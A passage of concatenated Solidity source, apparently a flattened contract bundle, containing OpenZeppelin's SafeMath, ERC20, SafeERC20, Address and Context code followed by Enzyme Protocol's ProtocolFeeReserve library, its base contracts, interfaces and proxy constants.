/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../../utils/Context.sol";
import "./IERC20.sol";
import "../../math/SafeMath.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IDispatcher Interface
/// @author Enzyme Council <[email protected]>
interface IDispatcher {
function cancelMigration(address _vaultProxy, bool _bypassFailure) external;
function claimOwnership() external;
function deployVaultProxy(
address _vaultLib,
address _owner,
address _vaultAccessor,
string calldata _fundName
) external returns (address vaultProxy_);
function executeMigration(address _vaultProxy, bool _bypassFailure) external;
function getCurrentFundDeployer() external view returns (address currentFundDeployer_);
function getFundDeployerForVaultProxy(address _vaultProxy)
external
view
returns (address fundDeployer_);
function getMigrationRequestDetailsForVaultProxy(address _vaultProxy)
external
view
returns (
address nextFundDeployer_,
address nextVaultAccessor_,
address nextVaultLib_,
uint256 executableTimestamp_
);
function getMigrationTimelock() external view returns (uint256 migrationTimelock_);
function getNominatedOwner() external view returns (address nominatedOwner_);
function getOwner() external view returns (address owner_);
function getSharesTokenSymbol() external view returns (string memory sharesTokenSymbol_);
function getTimelockRemainingForMigrationRequest(address _vaultProxy)
external
view
returns (uint256 secondsRemaining_);
function hasExecutableMigrationRequest(address _vaultProxy)
external
view
returns (bool hasExecutableRequest_);
function hasMigrationRequest(address _vaultProxy)
external
view
returns (bool hasMigrationRequest_);
function removeNominatedOwner() external;
function setCurrentFundDeployer(address _nextFundDeployer) external;
function setMigrationTimelock(uint256 _nextTimelock) external;
function setNominatedOwner(address _nextNominatedOwner) external;
function setSharesTokenSymbol(string calldata _nextSymbol) external;
function signalMigration(
address _vaultProxy,
address _nextVaultAccessor,
address _nextVaultLib,
bool _bypassFailure
) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "../dispatcher/IDispatcher.sol";
import "./bases/ProtocolFeeReserveLibBase1.sol";
import "./interfaces/IProtocolFeeReserve1.sol";
/// @title ProtocolFeeReserveLib Contract
/// @author Enzyme Council <[email protected]>
/// @notice The proxiable library contract for ProtocolFeeReserveProxy
contract ProtocolFeeReserveLib is IProtocolFeeReserve1, ProtocolFeeReserveLibBase1 {
using SafeMath for uint256;
using SafeERC20 for ERC20;
// Equates to a 50% discount
uint256 private constant BUYBACK_DISCOUNT_DIVISOR = 2;
IDispatcher private immutable DISPATCHER_CONTRACT;
ERC20 private immutable MLN_TOKEN_CONTRACT;
constructor(address _dispatcher, address _mlnToken) public {
DISPATCHER_CONTRACT = IDispatcher(_dispatcher);
MLN_TOKEN_CONTRACT = ERC20(_mlnToken);
}
/// @notice Indicates that the calling VaultProxy is buying back shares collected as protocol fee,
/// and returns the amount of MLN that should be burned for the buyback
/// @param _sharesAmount The amount of shares to buy back
/// @param _mlnValue The MLN-denominated market value of _sharesAmount
/// @return mlnAmountToBurn_ The amount of MLN to burn
/// @dev Since VaultProxy instances are completely trusted, all the work of calculating and
/// burning the appropriate amount of shares and MLN can be done by the calling VaultProxy.
/// This contract only needs to provide the discounted MLN amount to burn.
/// Though it is currently unused, passing in GAV would allow creating a tiered system of
/// discounts in a new library, for example.
function buyBackSharesViaTrustedVaultProxy(
uint256 _sharesAmount,
uint256 _mlnValue,
uint256
) external override returns (uint256 mlnAmountToBurn_) {
mlnAmountToBurn_ = _mlnValue.div(BUYBACK_DISCOUNT_DIVISOR);
if (mlnAmountToBurn_ == 0) {
return 0;
}
emit SharesBoughtBack(msg.sender, _sharesAmount, _mlnValue, mlnAmountToBurn_);
return mlnAmountToBurn_;
}
/// @notice Withdraws the full MLN token balance to the given address
/// @param _to The address to which to send the MLN token balance
/// @dev Used in the case that MLN tokens are sent to this contract rather than being burned,
/// which will be the case on networks where MLN does not implement a burn function in the desired manner.
/// The Enzyme Council will periodically withdraw the MLN, bridge to Ethereum mainnet, and burn.
function withdrawMlnTokenBalanceTo(address _to) external {
require(
msg.sender == DISPATCHER_CONTRACT.getOwner(),
"withdrawMlnTokenBalance: Unauthorized"
);
uint256 balance = MLN_TOKEN_CONTRACT.balanceOf(address(this));
MLN_TOKEN_CONTRACT.safeTransfer(_to, balance);
emit MlnTokenBalanceWithdrawn(_to, balance);
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "./ProtocolFeeReserveLibBaseCore.sol";
/// @title ProtocolFeeReserveLibBase1 Contract
/// @author Enzyme Council <[email protected]>
/// @notice A base implementation for ProtocolFeeReserveLib
/// @dev Each next base implementation inherits the previous base implementation,
/// e.g., `ProtocolFeeReserveLibBase2 is ProtocolFeeReserveLibBase1`
/// DO NOT EDIT CONTRACT.
abstract contract ProtocolFeeReserveLibBase1 is ProtocolFeeReserveLibBaseCore {
event MlnTokenBalanceWithdrawn(address indexed to, uint256 amount);
event SharesBoughtBack(
address indexed vaultProxy,
uint256 sharesAmount,
uint256 mlnValue,
uint256 mlnBurned
);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../../dispatcher/IDispatcher.sol";
import "../utils/ProxiableProtocolFeeReserveLib.sol";
/// @title ProtocolFeeReserveLibBaseCore Contract
/// @author Enzyme Council <[email protected]>
/// @notice The core implementation of ProtocolFeeReserveLib
/// @dev To be inherited by the first ProtocolFeeReserveLibBase implementation only.
/// DO NOT EDIT CONTRACT.
abstract contract ProtocolFeeReserveLibBaseCore is ProxiableProtocolFeeReserveLib {
event ProtocolFeeReserveLibSet(address nextProtocolFeeReserveLib);
address private dispatcher;
modifier onlyDispatcherOwner {
require(
msg.sender == IDispatcher(getDispatcher()).getOwner(),
"Only the Dispatcher owner can call this function"
);
_;
}
/// @notice Initializes the ProtocolFeeReserveProxy with core configuration
/// @param _dispatcher The Dispatcher contract
/// @dev Serves as a pseudo-constructor
function init(address _dispatcher) external {
require(getDispatcher() == address(0), "init: Proxy already initialized");
dispatcher = _dispatcher;
emit ProtocolFeeReserveLibSet(getProtocolFeeReserveLib());
}
/// @notice Sets the ProtocolFeeReserveLib target for the ProtocolFeeReserveProxy
/// @param _nextProtocolFeeReserveLib The address to set as the ProtocolFeeReserveLib
/// @dev This function is absolutely critical. __updateCodeAddress() validates that the
/// target is a valid Proxiable contract instance.
/// Does not block _nextProtocolFeeReserveLib from being the same as the current ProtocolFeeReserveLib
function setProtocolFeeReserveLib(address _nextProtocolFeeReserveLib)
external
onlyDispatcherOwner
{
__updateCodeAddress(_nextProtocolFeeReserveLib);
emit ProtocolFeeReserveLibSet(_nextProtocolFeeReserveLib);
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `dispatcher` variable
/// @return dispatcher_ The `dispatcher` variable value
function getDispatcher() public view returns (address dispatcher_) {
return dispatcher;
}
/// @notice Gets the ProtocolFeeReserveLib target for the ProtocolFeeReserveProxy
/// @return protocolFeeReserveLib_ The address of the ProtocolFeeReserveLib target
function getProtocolFeeReserveLib() public view returns (address protocolFeeReserveLib_) {
assembly {
protocolFeeReserveLib_ := sload(EIP_1967_SLOT)
}
return protocolFeeReserveLib_;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IProtocolFeeReserve1 Interface
/// @author Enzyme Council <[email protected]>
/// @dev Each interface should inherit the previous interface,
/// e.g., `IProtocolFeeReserve2 is IProtocolFeeReserve1`
interface IProtocolFeeReserve1 {
function buyBackSharesViaTrustedVaultProxy(
uint256 _sharesAmount,
uint256 _mlnValue,
uint256 _gav
) external returns (uint256 mlnAmountToBurn_);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title ProtocolFeeProxyConstants Contract
/// @author Enzyme Council <[email protected]>
/// @notice Constant values used in ProtocolFee proxy-related contracts
abstract contract ProtocolFeeProxyConstants {
// `bytes32(keccak256('mln.proxiable.protocolFeeReserveLib'))`
bytes32
internal constant EIP_1822_PROXIABLE_UUID = 0xbc966524590ce702cc9340e80d86ea9095afa6b8eecbb5d6213f576332239181;
// `bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)`
bytes32
internal constant EIP_1967_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
import "./ProtocolFeeProxyConstants.sol";
pragma solidity 0.6.12;
/// @title ProxiableProtocolFeeReserveLib Contract
/// @author Enzyme Council <[email protected]>
/// @notice A contract that defines the upgrade behavior for ProtocolFeeReserveLib instances
/// @dev The recommended implementation of the target of a proxy according to EIP-1822 and EIP-1967
/// See: https://eips.ethereum.org/EIPS/eip-1822
/// See: https://eips.ethereum.org/EIPS/eip-1967
